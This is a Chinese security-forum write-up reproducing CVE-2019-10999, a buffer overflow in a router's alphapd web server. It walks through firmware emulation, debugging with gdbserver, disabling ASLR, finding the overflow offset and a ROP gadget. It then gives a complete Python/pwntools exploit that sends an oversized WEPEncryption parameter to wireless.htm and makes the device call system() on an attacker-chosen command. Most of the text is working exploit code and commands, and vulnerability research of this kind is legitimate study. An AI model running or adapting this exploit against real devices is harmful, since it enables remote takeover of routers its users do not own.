CVE-2019-10999复现学习

本文为看雪论坛精华文章
看雪论坛作者ID:Catsay
固件仿真
mount -o bind /dev/ ./dev/
mount -t proc /proc/ ./proc



killall -q alphapd
sleep 1
alphapd &







./gdbserver-mipsel :23946 ./bin/alphapd



调试
关闭aslr:echo 0 > /proc/sys/kernel/randomize_va_space
./gdbserver-mipsel :23946 --attach alphapdPID
set arch mips
set endian little
target remote 192.168.50.214:40496
挖掘漏洞






> cyclic -l 0x6161616b
40
Libc基地址

Rop
.text:0004A604 addiu $s2, $sp, 0x1E8+var_F8
.text:0004A608 move $a0, $s2
.text:0004A60C move $t9, $s0
.text:0004A610 jalr $t9 ; sub_49DF0
import socket
from pwn import *
context.log_level = 'debug'
context.arch = "mips"
Libc_Addr = 0x77eda000
system_Addr = 0x0045080
cmd = "echo${IFS}'Pwn!'"
gadget = 0x004A608
payload = cyclic(16).upper()
payload += p32(Libc_Addr+system_Addr) # S0
# p -> 0x77F24604
payload += 'BBBB' # S1
payload += p32(0x7fffe2a8) # S2
payload += 'DDDD' # S3
payload += 'EEEE'
payload += 'FFFF'
payload += p32(Libc_Addr+gadget) # PC
payload += 'HHHH'
payload += cmd
if __name__ == '__main__':
#key = "Content-Type:text/html;charset:utf-8\r\n"
RHOST = '127.0.0.1'
RPORT = 40080
request = ""
request+= "GET /wireless.htm?WEPEncryption={} HTTP/1.1\r\n".format(payload)
request+= "Host: {}:{}\r\n".format(RHOST,str(RPORT))
request+= "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0"
request+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
request+= "Accept-Language: en-US,en;q=0.5"
request+= "Accept-Encoding: gzip, deflate"
request+= "Connection: close"
request+= "Upgrade-Insecure-Requests: 1"
request+= "\r\n\r\n"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
s.send(request)
print(request)
# msg = s.recv(1024)
s.close()
# print msg

看雪ID:Catsay
https://bbs.pediy.com/user-home-642281.htm

# 往期推荐
1.内核漏洞学习-HEVD-UninitializedStackVariable
3.内核漏洞学习-HEVD-NullPointerDereference


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
- Ollama 本地运行 Llama 2、Mistral、Gemma 和其他大型语言模型
- Edge浏览器睡眠标签页立功:一年节省7万亿MB流量
- Puter 一键部署个人云电脑,百万用户产品开源了!
- 神通数据库企业级、大型通用关系型数据库管理系统
- AppNode如何设置网站图片防盗链?
- 从业余项目到全世界最受欢迎的编程语言之一,Rust 是如何做到的?
- Oracle 改写 Java SE 定价模式,网友吐槽:神操作,一人用 Java,全员要付钱!
- 一个视频告诉你:如何保护自己免受远程访问木马攻击
- DEF CON 30 Contest预告|BCTF·AutoDriving再来袭!
- Unix 操作系统背后的女程序员 Lorinda Cherry 去世,享年 78 岁
- 苹果公司正式注册成立;《电脑报》正式创刊;英特尔创始人诞生 | 历史上的今天
- 高朋满座话未来|专访vivo高级副总裁,首席技术官施玉坚
赞助链接